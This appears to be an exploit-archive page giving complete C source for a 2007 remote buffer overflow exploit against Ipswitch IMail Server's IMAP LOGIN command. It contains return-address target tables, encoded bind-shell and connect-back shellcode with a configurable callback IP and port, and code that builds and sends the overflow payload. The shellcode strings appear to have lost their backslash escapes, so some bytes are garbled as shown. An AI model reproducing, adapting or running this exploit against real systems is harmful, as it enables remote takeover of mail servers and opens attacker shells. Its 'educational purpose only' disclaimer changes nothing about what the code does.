[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : IPSwitch IMail Server <= 8.20 IMAPD Remote Buffer Overflow Exploit
# Published : 2007-04-01
# Author : Heretic2
# Previous Title : Oracle 9i/10g ACTIVATE_SUBSCRIPTION SQL Injection Exploit
# Next Title : MS Windows XP/Vista Animated Cursor (.ANI) Remote Overflow Exploit


/* Dreatica-FXP crew
* 
* ----------------------------------------
* Target         : Ipswitch IMAIL Server IMAPD 7.13 - 8.20 exploit 
* Site           : http://www.ipswitch.com
* Found by       : iDEFENSE Security (http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=243)
* ----------------------------------------
* Exploit date   : 31.03.2007
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS             : Windows 2000 SP4 and Windows XP ALL
* Crew           : Dreatica-FXP
* ----------------------------------------
* Info: Well, this is the realization of the IMAIL IMAPd 'LOGIN' buffer overflow vulnerability. 
*   The version provided by kcope uses SEH overwrite method, which doesn't work on Windows XP SP2,
*   so i have written the exploit that overwrites EIP and then execute the shellcode. 
*
*   I have tested this exploit on the all versions of Imail from 7.13 to 8.20, versions < 7.13 are also vulnerable,
*   but i don't have them to test the exploit, Windows 2000 SP4 and Windows XP SP0-SP2.
* 
*   Here you need to select the OS and the IMAIL version, that is not good, but anyone with some brain can 
*   easily modify the code to get version of Imail from banner or obtain 'data segment' value without knowing 
*   the Imail version.
*
* ----------------------------------------
* Thanks to:
*       iDEFENSE Security           ( http://labs.idefense.com/     
*       The Metasploit project      ( http://metasploit.com                            ) 
*       kcope                       ( <kingcope [at] gmx.net>                          ) 
*       Dreatica-FXP crew           (                                                  )
* ----------------------------------------
* This was written for educational purpose only. Use it at your own risk. Author will be not be 
* responsible for any damage, caused by that code.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32")


void usage(char * s);
void help(char * s);
void logo();
SOCKET do_connect (char *remotehost, int port);
void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport);
void make_buffer(unsigned char * buf, int itarget, int sh, char * cbip, int cbport, int ifix);
int send_buffer(SOCKET sa, char * buf, char * remotehost, int port);
int validate_args(int port, int sh, int itarget, int fix);

// ###################################################
// # XGetopt.h  Version 1.2                
// ###################################################
extern int optind, opterr;
extern char *optarg;

int getopt(int argc, char *argv[], char *optstring);
// ##################################################


struct _target{
	const char *t ;
	unsigned long ret ;
} targets[] = 
{	// jmp esp
	{"Windows 2000 SP4 ENG           [ shell32.dll ]",   0x7850d3bf }, 
	{"Windows XP SP0 ENG             [  ntdll.dll  ]",   0x77f439e3 }, 
	{"Windows XP SP0 RUS             [  ntdll.dll  ]",   0x77f5801c }, 
	{"Windows XP SP1 ENG             [  ntdll.dll  ]",   0x77fa59cc }, 
	{"Windows XP SP1 RUS             [  ntdll.dll  ]",   0x77fb59cc }, 
	{"Windows XP SP2 ENG             [  ntdll.dll  ]",   0x7C941eed }, 
	{"Windows XP SP2 RUS             [  ntdll.dll  ]",   0x7C941eed }, 
	{"Windows XP SP2 RUS(no patches) [ shell32.dll ]",   0x7C82385D }, 
	{NULL,                                               0x00000000 }

};


struct _imail{
	const char * name ; 
	unsigned long fix;
}imailfix[] =
{
	// address to data segment in Mailbox
	{"Ipswitch IMAIL Server IMAPD 7.04 - 8.05HF3", 0x10034000}, 
	{"Ipswitch IMAIL Server IMAPD 8.10 - 8.11   ", 0x1002f000}, 
	{"Ipswitch IMAIL Server IMAPD 8.12 - 8.20   ", 0x10031000}, 
	{NULL,                                         0x00000000}


};


struct _shellcode{
	const char * name;
	char * shellcode;
} shellcodes[]={ // bad charachters: 0x00 0x03 0x0A 0x0C 0x22 0x5C      (and more)
	{"Spawn bindshell on port 4444", 
	/* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
		"x29xc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13x63"
		"xb4x7dx58x83xebxfcxe2xf4x9fxdex96x15x8bx4dx82xa7"
		"x9cxd4xf6x34x47x90xf6x1dx5fx3fx01x5dx1bxb5x92xd3"
		"x2cxacxf6x07x43xb5x96x11xe8x80xf6x59x8dx85xbdxc1"
		"xcfx30xbdx2cx64x75xb7x55x62x76x96xacx58xe0x59x70"
		"x16x51xf6x07x47xb5x96x3exe8xb8x36xd3x3cxa8x7cxb3"
		"x60x98xf6xd1x0fx90x61x39xa0x85xa6x3cxe8xf7x4dxd3"
		"x23xb8xf6x28x7fx19xf6x18x6bxeax15xd6x2dxbax91x08"
		"x9cx62x1bx0bx05xdcx4ex6ax0bxc3x0ex6ax3cxe0x82x88"
		"x0bx7fx90xa4x58xe4x82x8ex3cx3dx98x3exe2x59x75x5a"
		"x36xdex7fxa7xb3xdcxa4x51x96x19x2axa7xb5xe7x2ex0b"
		"x30xe7x3ex0bx20xe7x82x88x05xdcx6cx04x05xe7xf4xb9"
		"xf6xdcxd9x42x13x73x2axa7xb5xdex6dx09x36x4bxadx30"
		"xc7x19x53xb1x34x4bxabx0bx36x4bxadx30x86xfdxfbx11"
		"x34x4bxabx08x37xe0x28xa7xb3x27x15xbfx1ax72x04x0f"
		"x9cx62x28xa7xb3xd2x17x3cx05xdcx1ex35xeax51x17x08"
		"x3ax9dxb1xd1x84xdex39xd1x81x85xbdxabxc9x4ax3fx75"
		"x9dxf6x51xcbxeexcex45xf3xc8x1fx15x2ax9dx07x6bxa7"
		"x16xf0x82x8ex38xe3x2fx09x32xe5x17x59x32xe5x28x09"
		"x9cx64x15xf5xbaxb1xb3x0bx9cx62x17xa7x9cx83x82x88"
		"xe8xe3x81xdbxa7xd0x82x8ex31x4bxadx30x93x3ex79x07"
		"x30x4bxabxa7xb3xb4x7dx58"
	 },
	{"ConnectBack shell (set the  CBIP and CBPort)",
		/* thx to the one who wrote it, taken from kcope exploit */
		"xEBx10x5Bx4Bx33xC9x66xB9x25x01x80x34x0BxC2xE2xFA"
		"xEBx05xE8xEBxFFxFFxFF"
		"x2Bx39xC2xC2xC2x9DxA6x63xF2xC2xC2xC2x49x82xCEx49"
		"xB2xDEx6Fx49xAAxCAx49x35xA8xC6x9Bx2Ax59xC2xC2xC2"
		"x20x3BxAAxF1xF0xC2xC2xAAxB5xB1xF0x9Dx96x3DxD4x49"
		"x2AxA8xC6x9Bx2Ax40xC2xC2xC2x20x3Bx43x2Ex52xC3xC2"
		"xC2x96xAAxC3xC3xC2xC2x3Dx94xD2x92x92x92x92x82x92"
		"x82x92x3Dx94xD6x49x1AxAAxBDxC2xC2xC3xAAxC0xC2xC2"
		"xF7x49x0ExA8xD2x93x91x3Dx94xDAx47x02xB7x88xAAxA1"
		"xAFxA6xC2x4BxA4xF2x41x2Ex96x4FxFExE6xA8xD7x9Bx69"
		"x20x3Fx04x86xE6xD2x86x3Cx86xE6xFFx4Bx9ExE6x8Ax4B"
		"x9ExE6x8Ex4Bx9ExE6x92x4Fx86xE6xD2x96x92x93x93x93"
		"xA8xC3x93x93x3DxB4xF2x93x3Dx94xC6x49x0ExA8x3Dx3D"
		"xF3x3Dx94xCAx91x3Dx94xDEx3Dx94xCEx93x94x49x87xFE"
		"x49x96xEAxBAxC1x17x90x49xB0xE2xC1x37xF1x0Bx8Bx83"
		"x6FxC1x07xF1x19xCDx7CxD2xF8x14xB6xCAx03x09xCFxC1"
		"x18x82x29x33xF9xDDxB7x25x98x49x98xE6xC1x1FxA4x49"
		"xCEx89x49x98xDExC1x1Fx49xC6x49xC1x07x69x9Cx9Bx01"
		"x2AxC2x3Dx3Dx3Dx4Cx8CxCCx2ExB0x3Cx71xD4x6Fx1BxC7"
		"x0CxBCx1Ax20xB1x09x2Fx3ExF9x1BxCBx37x6Fx2Ex3Bx68"
		"xA2x25xBBx04xBB"
	},			
	{NULL , NULL }
};

// jump to our shellcode
unsigned char jmpcode[] = "x8Bxc4x66x2DxECx01x66x81xecxf0x02xFFxE0";


int main(int argc, char **argv)
{
	char * remotehost=NULL, * cbip=NULL;
	char def_cbip[]="127.0.0.1";
	char temp1[100], temp2[100];
	int cbport, port, itarget=0, sh=0, fix=0;
	SOCKET s;
	char c;	
	logo();
	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0), &wsa);
	
	if(argc<2)
	{
		usage(argv[0]);	
		WSACleanup();
		return -1;
	}
	// set defaults
	cbport=4444;
	port=143;
	// ------------	
	
	while((c = getopt(argc, argv, "h:p:s:t:I:P:f:"))!= EOF)
	{
		switch (c)
		{
			case 'h':
				remotehost=optarg;
				break; 	
			case 's':
				sscanf(optarg, "%d", &sh);
				sh--;
				break;
			case 't':
				sscanf(optarg, "%d", &itarget);
				itarget--;
				break;
			case 'f':
				sscanf(optarg, "%d", &fix);
				fix--;
				break;
			case 'p':
				sscanf(optarg, "%d", &port);
				break;
			case 'P':
				sscanf(optarg, "%d", &cbport);
				break;
			case 'I':
				cbip=optarg;
				break; 			
			default:
	            usage(argv[0]);
			return -1;
		}		
	}	
	if(remotehost==NULL)
	{
		usage(argv[0]);	
		WSACleanup();
		return -1;
	}
	if((sh==1)&&(cbip==NULL)) cbip = def_cbip ;
	if(validate_args(port, sh, itarget, fix)==-1) return -1;
	memset(temp1,0,sizeof(temp1));
	memset(temp2,0,sizeof(temp2));
	memset(temp1, 'x20' , 58 - strlen(remotehost) -1);	
	printf(" #  Host    : %s%s# n", remotehost, temp1);	
	sprintf(temp2, "%d", port);
	memset(temp1,0,sizeof(temp1));
	memset(temp1, 'x20' , 58 - strlen(temp2) -1);
	printf(" #  Port    : %s%s# n", temp2, temp1);
	memset(temp1,0,sizeof(temp1));	
	memset(temp2,0,sizeof(temp2));
	sprintf(temp2, "%s", shellcodes[sh].name );
	memset(temp1, 'x20' , 58 - strlen(temp2) -1);	
	printf(" #  Shellcde: %s%s# n", temp2, temp1);
	memset(temp1,0,sizeof(temp1));	
	memset(temp1, 'x20' , 58 - strlen(targets[itarget].t) -1);	
	printf(" #  Target  : %s%s# n", targets[itarget].t, temp1);
	if(sh==1)
	{
		memset(temp1,0,sizeof(temp1));	
		memset(temp1, 'x20' , 58 - strlen(cbip) -1);	
		printf(" #  CB IP   : %s%s# n", cbip, temp1);
		sprintf(temp2, "%d", cbport);
		memset(temp1,0,sizeof(temp1));
		memset(temp1, 'x20' , 58 - strlen(temp2) -1);
		printf(" #  CB port : %s%s# n", temp2, temp1);
	}
	printf(" # ------------------------------------------------------------------- # n");
	printf("[+] Checking if server is online... ");
	fflush(stdout);
	s=do_connect(remotehost, port);   
	if(s==-1)
	{
		fprintf(stdout, "failedn");
		return 0;
	}
	closesocket(s);
	printf("SUCCESS!n");
	char buf[1000];
	memset(buf,0,sizeof(buf));
	printf("[+] Constructing attacking buffer... ");
	fflush(stdout);
	make_buffer((unsigned char *)buf,itarget,sh,cbip,cbport,fix);
	printf("donen");
	SOCKET sa;
	sa=do_connect(remotehost, port);  
	if(sa==-1)
	{
		fprintf(stdout, "[-] Connection failed to server %sn", remotehost);
		return -1;
	}
	printf("[+] Sending %d bytes of buffer to servern", strlen(buf));
	if(send_buffer(sa, buf,remotehost,port)==0)
	{
		fprintf(stdout, "[-] Cannot send the buffer to server %sn", remotehost);
		return -1;
	}
	printf("[+] Buffer sentn");
	closesocket(sa);	
	if(sh==0)
	{
		printf("[+] Connect to %s:%dn", remotehost, 7915);	
	}else
	{
		printf("[+] The shell should arrive to %s:%d", cbip, cbport);
	}
	WSACleanup();	
	return 0;
}



int validate_args(int port, int sh, int itarget, int fix)
{
	int i=0,x=0;
	for(i=0;shellcodes[i].name;i++)if(i==sh)x=1;
    if(x==0)
	{
		printf("[-] The shellcode number is invalidn");
		return -1;
	}
	x=0;
	for(i=0;targets[i].t;i++)if(i==itarget)x=1;
	if(x==0)
	{
		printf("[-] The target is invalidn");
		return -1;
	}
	x=0;
	for(i=0;imailfix[i].name;i++)if(i==fix)x=1;
	if(x==0)
	{
		printf("[-] The imail version is invalidn");
		return -1;
	}
	if(port<=0)
	{
		printf("[-] The port is invalidn");
		return -1;
	}
	return 1;
}


SOCKET do_connect (char *remotehost, int port)
{
   static struct hostent *host;
   static struct sockaddr_in addr;
   static int done=0;
   SOCKET s;	
   if (done != 1)
   {
       host = gethostbyname(remotehost);
       if (!host)
       {
           perror("[-] gethostbyname() failed");
           return -1;
       }
       addr.sin_addr = *(struct in_addr*)host->h_addr;
   }

   s = socket(PF_INET, SOCK_STREAM, 0);
   if (s == -1)
   {
       closesocket(s);
       perror("socket() failed");
       return -1;
   }

   addr.sin_port = htons(port);
   addr.sin_family = AF_INET;

   if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
   {
       closesocket(s);
      
       return -1;
   }

   done=1;
   return s;
}

void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport)
{
	memcpy(fsh, shellcodes[sh].shellcode, strlen(shellcodes[sh].shellcode));
	if(sh==1)
	{			
		static struct hostent *host = gethostbyname(cbip);
		static struct sockaddr_in addr;
		addr.sin_addr = *(struct in_addr*)host->h_addr;		
		fsh[111] = (addr.sin_addr.S_un.S_un_b.s_b1) ^ 0xc2;
		fsh[112] = (addr.sin_addr.S_un.S_un_b.s_b2) ^ 0xc2;
		fsh[113] = (addr.sin_addr.S_un.S_un_b.s_b3) ^ 0xc2;
		fsh[114] = (addr.sin_addr.S_un.S_un_b.s_b4) ^ 0xc2;
        
		fsh[118] = ((cbport >> 8) & 0xff) ^ 0xc2;
		fsh[119] = ((cbport     ) & 0xff) ^ 0xc2;
	}
}

void make_buffer(unsigned char * buf, int itarget, int sh, char * cbip, int cbport, int ifix)
{
	// prepare shellcode
	unsigned char * fsh;
	fsh = (unsigned char *) malloc ((strlen(shellcodes[sh].shellcode)+1) );
	memset(fsh, 0, (strlen(shellcodes[sh].shellcode)+1));	
	prepare_shellcode(fsh, sh, cbip, cbport);
	// -----------------
	
		// init buffer
	memset(buf,0,sizeof(buf));
	unsigned char * cp = buf;
	*cp++ = '@';
	*cp++ = 'x90';
	*cp++ = 'x90';
	*cp++ = 'x90';
	*cp++ = 'x90';

		// write shellcode
	memcpy(cp, fsh, strlen((char *)fsh)  );
	cp+=strlen((char *)cp);
	memset(cp, 'A', 488-strlen((char *)fsh));
	cp+=strlen((char *)cp);
		// set EIP
	*cp++ = (unsigned char)((targets[itarget].ret      ) & 0xff);
	*cp++ = (unsigned char)((targets[itarget].ret >>  8) & 0xff);
	*cp++ = (unsigned char)((targets[itarget].ret >> 16) & 0xff);
	*cp++ = (unsigned char)((targets[itarget].ret >> 24) & 0xff);

	*cp++ = 'x41';
	*cp++ = 'x41';
	*cp++ = 'x41';
	*cp++ = 'xeb';	
	*cp++ = 'x03';
	*cp++ = (unsigned char)((imailfix[ifix].fix >>  8) & 0xff);
	*cp++ = (unsigned char)((imailfix[ifix].fix >> 16) & 0xff);
	*cp++ = (unsigned char)((imailfix[ifix].fix >> 24) & 0xff);

		// add jump back
	memcpy(cp, jmpcode, strlen((char *)jmpcode));
	// -----------
}

int send_buffer(SOCKET s, char * buf, char * remotehost, int port)
{		
	char bufmax[1024];
	recv(s, bufmax, sizeof(bufmax),0);	
	char sendbuf[1000];
	memset(sendbuf, 0, sizeof(sendbuf));
	strcat(sendbuf, "a001 LOGIN "");
	strcat(sendbuf, buf);
	strcat(sendbuf, "" passwordrn");
	int sentbytes=send(s, sendbuf, (int)strlen(sendbuf),0);
	if(sentbytes<(int)strlen(sendbuf)) return 0;
	return 1;
}

void usage(char * s)
{	
	printf(" Usage: %s -h <host> [-p <port>] [-s <shellcode>] [-t <target>] [-f <imail>] [-I <cb IP>] [-P <cb port>]nn", s);	
	printf(" ----------------------------------------------------------------------- n");
	printf(" Arguments:n");
	printf("    -h host to connect                      n");
	printf("    -p port             (default: 143      )n");
	printf("    -s shellcode        (default: 1        )n");	
	printf("    -t target           (default: 1        )n");
	printf("    -f Imail version    (default: 1        )n");
	printf("    -I connect back IP  (default: 127.0.0.1)n");
	printf("    -P connect back port(default: 4444     )n");
	printf("n");
	printf("    Shellcodes:n");
	for(int i=0; shellcodes[i].name!=0;i++)
	{
		printf("         %d. %sn",i+1,shellcodes[i].name);				
	}	
	printf("n");	
	printf("    Targets:nn");
	int j;
	for(j=0; targets[j].t!=0;j++)
	{
		printf("         %d. %sn",j+1,targets[j].t);
	}		
	printf("n");
	printf("    Imail version:nn");
	for(j=0; imailfix[j].name!=0;j++)
	{
		printf("         %d. %sn",j+1,imailfix[j].name);
	}		
	printf("n");
	printf(" ----------------------------------------------------------------------- n");		
}



// ###################################################
// # XGetopt.h  Version 1.2                
// ###################################################
char	*optarg;		// global argument pointer
int		optind = 0; 	// global argv index

int getopt(int argc, char *argv[], char *optstring)
{
	static char *next = NULL;
	if (optind == 0)
		next = NULL;

	optarg = NULL;

	if (next == NULL || *next == '')
	{
		if (optind == 0)
			optind++;

		if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '')
		{
			optarg = NULL;
			if (optind < argc)
				optarg = argv[optind];
			return EOF;
		}

		if (strcmp(argv[optind], "--") == 0)
		{
			optind++;
			optarg = NULL;
			if (optind < argc)
				optarg = argv[optind];
			return EOF;
		}

		next = argv[optind];
		next++;		// skip past -
		optind++;
	}

	char c = *next++;
	char *cp = strchr(optstring, c);

	if (cp == NULL || c == ':')
		return '?';

	cp++;
	if (*cp == ':')
	{
		if (*next != '')
		{
			optarg = next;
			next = NULL;
		}
		else if (optind < argc)
		{
			optarg = argv[optind];
			optind++;
		}
		else
		{
			return '?';
		}
	}

	return c;
}
// ###################################################


void logo()
{
	printf(" ####################################################################### n");	
	printf(" #     ____                 __  _                  ______  __    _____ #n");
	printf(" #    / __ \________  _____/ /_(_)_________       / __/\ \/ /   / _  / #n");
	printf(" #   / / / / ___/ _ \/ __ / __/ / ___/ __ / ___  / /    \  /   / // /  #n");
	printf(" #  / /_/ / / /  ___/ /_// /_/ / /__/ /_// /__/ / _/    /  \  / ___/   #n");
	printf(" # /_____/_/  \___/ \_,_/\__/_/\___/\__,_/     /_/     /_/\_\/_/       #n");
	printf(" #                                 crew                                #n");
	printf(" ####################################################################### n");	
	printf(" #  Exploit : Ipswitch IMAIL Server IMAPD 7.13 - 8.20 exploit          # n");
	printf(" #  Version : 1.0                                                      # n");
	printf(" #  System  : Windows 2000 SP4, Windows XP ALL                         # n");
	printf(" #  Date    : 31.03.2007                                               # n");
	printf(" # ------------------------------------------------------------------- # n");
}

// www.Syue.com [2007-04-01]